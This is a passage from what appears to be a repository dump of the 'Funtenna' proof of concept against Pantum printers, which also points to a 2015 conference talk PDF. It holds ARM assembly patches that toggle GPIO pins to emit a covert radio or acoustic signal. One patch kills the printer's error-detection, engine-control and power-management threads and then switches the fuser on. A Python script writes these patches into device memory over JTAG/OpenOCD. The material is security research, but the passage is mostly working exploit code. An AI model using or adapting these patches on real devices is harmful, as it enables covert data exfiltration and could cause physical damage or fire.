_doSpin: 74 | cmp R12, R0 75 | BHI _doneSpin 76 | ADD R12, #0x1 77 | B _doSpin 78 | _doneSpin: 79 | BX LR 80 | 81 | _do_xmit_one: 82 | STMFD SP!, {R0-R12, LR} 83 | SUB SP, SP, #0x40 84 | MOV R0, #0x0 85 | LDR R6, =symbol_duration_one 86 | 87 | _xmit_one_loop: 88 | CMP R0, R6 89 | BHI _done_xmit_one 90 | STR R1, [R2, #0x10] 91 | STR R3, [R2, #0x10] 92 | ADD R0, #0x1 93 | B _xmit_one_loop 94 | 95 | _done_xmit_one: 96 | ADD SP, SP, #0x40 97 | LDMFD SP!, {R0-R12, LR} 98 | BX LR 99 | 100 | _do_xmit_zero: 101 | STMFD SP!, {R0-R12, LR} 102 | SUB SP, SP, #0x40 103 | MOV R0, #0x0 104 | LDR R6, =symbol_duration_zero 105 | 106 | _xmit_zero_loop: 107 | CMP R0, R6 108 | BHI _done_xmit_zero 109 | STR R1, [R2, #0x10] 110 | STR R3, [R2, #0x10] 111 | ADD R0, #0x1 112 | B _xmit_zero_loop 113 | 114 | _done_xmit_zero: 115 | ADD SP, SP, #0x40 116 | LDMFD SP!, {R0-R12, LR} 117 | BX LR 118 | 119 | 120 | @xmit_msg_str: .asciz "\xffUABCDEFGHIJKLMNOPQRSTUVWXYZ!\xff\xff\x00\x00\x00\x00" 121 | xmit_msg_str: .byte 0b11111111, 0b11111111, 0b01010101, 0b01010101, 0b01000101, 0b01010000, 0b10010000, 0b11110101, 0b00000100, 0b00010000, 0b11111001, 0b01000110, 0b01000001, 0b00010001, 0b00010100, 0b00000100, 0b10011111, 0b00001010, 0b11101000, 0b11111111, 0b11111111, 0b01010101, 0b01010101, 0b00110000, 0b10000011, 0b00100010, 0b00101000, 0b11000000, 0b11011110, 0b11111000, 0b00000100, 0b00111100, 0b00000011, 0b10000101, 0b00011010, 0b11011010, 0b01100100, 0b10010110, 0b11111111, 0b11111111, 0b01010101, 0b01010101, 0b11011110, 0b10000001, 0b01010010, 0b00011101, 0b00100101, 0b10100000, 0b01111000, 0b00000000, 0b00000001, 0b10100001, 0b10010000, 0b00000000, 0b00101100, 0b10100000, 0b01110011, 0b11111111, 0b11111111, 0b01010101, 0b01010101, 0b11010100, 0b00011000, 0b01100011, 0b10001100, 0b00110001, 0b0, 0b0, 0b0, 0b0 122 | 123 | .align 124 | .ltorg 125 | MOV LR,LR 126 | NOP 127 | MOV LR,LR 128 | NOP 129 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantumhook.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ printf, 0x05F414 3 | .equ dst_func, 0x03C1540 4 | MOV LR,LR 5 | NOP 6 | MOV LR,LR 7 | NOP 8 | BL dst_func 9 | MOV LR,LR 10 | NOP 11 | MOV LR,LR 12 | NOP 13 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantumhook_sensorcmd.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ dst_func, 0x03C1644 3 | MOV LR,LR 4 | NOP 5 | MOV LR,LR 6 | NOP 7 | STMFD SP!, {R4-R12, LR} 8 | SUB SP, SP, #0x40 9 | 10 | BL dst_func 11 | 12 | ADD SP, SP, #0x40 13 | LDMFD SP!, {R4-R12, LR} 14 | BX LR 15 | 16 | MOV LR,LR 17 | NOP 18 | MOV LR,LR 19 | NOP 20 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantumpatch.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ printf, 0x05F414 3 | .equ sleepfunc, 0x02CB634 4 | .equ gpio_write_func, 0x2F3B7C 5 | .equ raw_gpio_write_func, 0x02F4EF4 6 | .equ HVPS_GPIO_ADDR, 0x1601968 7 | .equ MAIN_FAN_GPIO_ADDR, 0x160C508 8 | .equ engine_init_func, 0x3D4F0 9 | .equ engine_warmup_func, 0x3D660 10 | .equ dec_fuser_enable_power_func, 0x4696A0 11 | .equ err_detect_thread_struct, 0x0BAF92C 12 | .equ engine_control_thread_struct, 0x0BAF894 13 | .equ pwrmgr_thread_struct, 0x0EB9744 14 | .equ pwrschema_thread_struct, 0xEBDE00 15 | .equ kill_thread_func, 0x82B78C 16 | .equ disable_pwrmgr_func, 0x2C3C98 17 | .equ fuser_on_func, 0x004696A0 18 | 19 | MOV LR,LR 20 | NOP 21 | MOV LR,LR 22 | NOP 23 | 24 | 25 | STMFD SP!, {R4-R12, LR} 26 | SUB SP, SP, #0x40 27 | 28 | LDR R0, =debugStr 29 | LDR R12, =printf 30 | BLX R12 31 | 32 | LDR R0, =err_detect_thread_struct 33 | LDR R12, =kill_thread_func 34 | BLX R12 35 | 36 | LDR R0, =engine_control_thread_struct 37 | LDR R12, =kill_thread_func 38 | BLX R12 39 | 40 | LDR R0, =pwrschema_thread_struct 41 | LDR R12, =kill_thread_func 42 | BLX R12 43 | 44 | LDR R0, =pwrmgr_thread_struct 45 | LDR R12, =kill_thread_func 46 | BLX R12 47 | 48 | LDR R12, =disable_pwrmgr_func 49 | MOV R0, #0x64 50 | LDR R12, =fuser_on_func 51 | BLX R12 52 | 53 | 54 | ADD SP, SP, #0x40 55 | LDMFD SP!, {R4-R12, LR} 56 | 57 | B _after_lit 58 | 59 | debugStr: .asciz "m0m: !!\n" 60 | 61 | .align 62 | .ltorg 63 | 64 | 65 | _after_lit: 66 | 67 | MOV LR,LR 68 | NOP 69 | MOV LR,LR 70 | NOP 71 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/pantumreturn.as: -------------------------------------------------------------------------------- 1 | .text 2 | .equ printf, 0x05F414 3 | .equ dst_func, 0x0475FAC 4 | MOV LR,LR 5 | NOP 6 | MOV LR,LR 7 | NOP 8 | 9 | BX LR 10 | 11 | MOV LR,LR 12 | NOP 13 | MOV LR,LR 14 | NOP 15 | -------------------------------------------------------------------------------- /pantum_funtenna_poc/printer_jam.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import telnetlib 3 | import subprocess 4 | import time 5 | import os 6 | from ocd_interface import OcdInterface 7 | 8 | PWNIE = './pantum.dump' 9 | ENDIAN = 'little' 10 | ARCH = 'arm' 11 | UART_OCD = 'uart_ocd.dump' 12 | ACOUSTIC_OCD = 'acoustic_ocd.dump' 13 | RF_OCD = 'RF_OCD_ocd.dump' 14 | LINKER = '/usr/local/bin/arm-none-eabi-ld' 15 | print "Make sure you change LINKER in printer_jam.py if it isn't %s" % (LINKER) 16 | SPLITTER = '\x0E\xE0\xA0\xE1\x00\xF0\x20\xE3\x0E\xE0\xA0\xE1\x00\xF0\x20\xE3' 17 | ARGS = [ 18 | { 19 | 'args': ('--action', '-a'), 20 | 'kwargs': { 21 | 'type': str, 22 | 'required': True, 23 | 'help': ("tell me how to jam: uart, acoustic, emanate") 24 | }, 25 | }, 26 | { 27 | 'args': ('--pwnie', '-f'), 28 | 'kwargs': { 29 | 'type': str, 30 | 'default': PWNIE, 31 | 'help': ("pwnie to jam with") 32 | }, 33 | }, 34 | { 35 | 'args': ('--host', '-H'), 36 | 'kwargs': { 37 | 'type': str, 38 | 'required': True, 39 | 'help': ("OCD HOST") 40 | }, 41 | }, 42 | { 43 | 'args': ('--port', '-p'), 44 | 'kwargs': { 45 | 'type': str, 46 | 'required': True, 47 | 'help': ("OCD PORT") 48 | }, 49 | }, 50 | ] 51 | 52 | 53 | def link_code(vmaddr, assembled_output): 54 | assembled_output = os.path.abspath(assembled_output) 55 | endian_flag = '-EL' 56 | vmaddr -= 0x10 57 | linked_file = assembled_output + '-linkd' 58 | flags = [endian_flag, '-e', hex(vmaddr), '-Ttext', hex(vmaddr), '-s', '-o', 59 | linked_file, assembled_output] 60 | ld_cmd = ' '.join([LINKER] + flags) 61 | print ld_cmd 62 | subprocess.check_output(ld_cmd, shell=True) 63 | return strip(linked_file) 64 | 65 | 66 | def strip(obj_file): 67 | """ slice code""" 68 | with open(obj_file, 'rb') as handle: 69 | data = bytearray(handle.read()) 70 | sections = data.split(SPLITTER) 71 | return str(sections[1]) 72 | 73 | 74 | class Meat(): 75 | def __init__(self, filename): 76 | """get meat""" 77 | with open(filename, 'rb') as handle: 78 | self.meat = bytearray(handle.read()) 79 | 80 | def patch(self, offset, data): 81 | """patch code""" 82 | patch_size = len(data) 83 | self.meat = self.meat[:offset] + data + self.meat[offset + patch_size:] 84 | 85 | 86 | def toggle_uart(ocd_client, meat): 87 | """toggles uart 88 | """ 89 | pantumhook_addr = 0x0049AD98 90 | pantumhook_sensorcmd = link_code(pantumhook_addr, './pantumhook_sensorcmd.o') 91 | ocd_client.write_data(pantumhook_addr, str(pantumhook_sensorcmd)) 92 | gpio_uart_addr = 0x03C1644 93 | gpio_uart = link_code(gpio_uart_addr, './pantum_gpio_uart_onoff.o') 94 | ocd_client.write_data(gpio_uart_addr, str(gpio_uart)) 95 | 96 | 97 | def null_space(): 98 | pass 99 | 100 | 101 | def generate_acoustic_sound(ocd_client, meat): 102 | """generates acoustic sound 103 | """ 104 | null_out_addr = 0x3c1540 105 | ocd_client.write_data(null_out_addr, '\x00' * 0x220) 106 | 107 | gpio_bank_addr = 0x3c1860 108 | with open('./bank_0_3.cfgbin', 'rb') as handle: 109 | bank_data = handle.read() 110 | ocd_client.write_data(gpio_bank_addr, bank_data) 111 | 112 | pantumhook_addr = 0x00492474 113 | pantumhook_sensorcmd = link_code(pantumhook_addr, './pantumhook_sensorcmd.o') 114 | ocd_client.write_data(pantumhook_addr, str(pantumhook_sensorcmd)) 115 | 116 | gpio_ac_addr = 0x03C1644 117 | gpio_ac = link_code(gpio_ac_addr, './pantum_gpio_push_acoustic.o') 118 | ocd_client.write_data(gpio_ac_addr, str(gpio_ac)) 119 | 120 | 121 | def toggle_everything(ocd_client, meat): 122 | """toggles every motherfucking gpio 123 | """ 124 | null_out_addr = 0x3c1540 125 | ocd_client.write_data(null_out_addr, '\x00' * 0x220) 126 | 127 | gpio_bank_addr = 0x3c1860 128 | with open('./bank_0_3.cfgbin', 'rb') as handle: 129 | bank_data = handle.read() 130 | ocd_client.write_data(gpio_bank_addr, bank_data) 131 | 132 | pantumhook_addr = 0x0049AD98 133 | pantumhook_sensorcmd = link_code(pantumhook_addr, './pantumhook_sensorcmd.o') 134 | ocd_client.write_data(pantumhook_addr, str(pantumhook_sensorcmd)) 135 | 136 | gpio_sens_addr = 0x03C1644 137 | gpio_sens = link_code(gpio_sens_addr, './pantum_gpio_push_sensors.o') 138 | ocd_client.write_data(gpio_sens_addr, gpio_sens) 139 | 140 | pantum_hook_addr = 0x475fa8 141 | pantum_hook = link_code(pantum_hook_addr, './pantumhook.o') 142 | ocd_client.write_data(pantum_hook_addr, pantum_hook) 143 | 144 | pantum_patch_addr = 0x3c1544 145 | pantum_patch = link_code(pantum_patch_addr, './pantumpatch.o') 146 | ocd_client.write_data(pantum_patch_addr, pantum_patch) 147 | 148 | pantum_ret_addr = 0x3c1640 149 | pantum_ret = link_code(pantum_ret_addr, './pantumreturn.o') 150 | ocd_client.write_data(pantum_ret_addr, pantum_ret) 151 | 152 | 153 | JAM_SESSION = { 154 | 'uart': toggle_uart, 155 | 'acoustic': generate_acoustic_sound, 156 | 'rf': toggle_everything, 157 | } 158 | PANTUM_FILE = 'pantum.dump' 159 | 160 | 161 | def jtag_trigger(host, port, cmds): 162 | """ send jtag cmds to a particular port """ 163 | tn = telnetlib.Telnet(host, port) 164 | for cmd in cmds: 165 | print cmd 166 | tn.write("%s\n" % (cmd)) 167 | tn.close() 168 | 169 | 170 | def main(args): 171 | """ DO the JAM""" 172 | jtag_trigger(args.host, args.port, ['reset']) 173 | time.sleep(6) 174 | jtag_trigger(args.host, args.port, ['halt']) 175 | ocd_client = OcdInterface(args.host, int(args.port)) 176 | meat = Meat(PANTUM_FILE) 177 | JAM_SESSION[args.action](ocd_client, meat) 178 | jtag_trigger(args.host, args.port, ['halt']) 179 | 180 | 181 | if __name__ == "__main__": 182 | parser = argparse.ArgumentParser(description="Funtenna") 183 | for arg in ARGS: 184 | parser.add_argument(*arg['args'], **arg['kwargs']) 185 | args = parser.parse_args() 186 | main(args) 187 | print "Now manually resume device over OpenOCD to start the payload" 188 | -------------------------------------------------------------------------------- /us-15-Cui-EmanateLikeABoss.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funtenna/funtenna_2015/4757a05a246ece93e58bc2986c8ca4e6ae202793/us-15-Cui-EmanateLikeABoss.pdf --------------------------------------------------------------------------------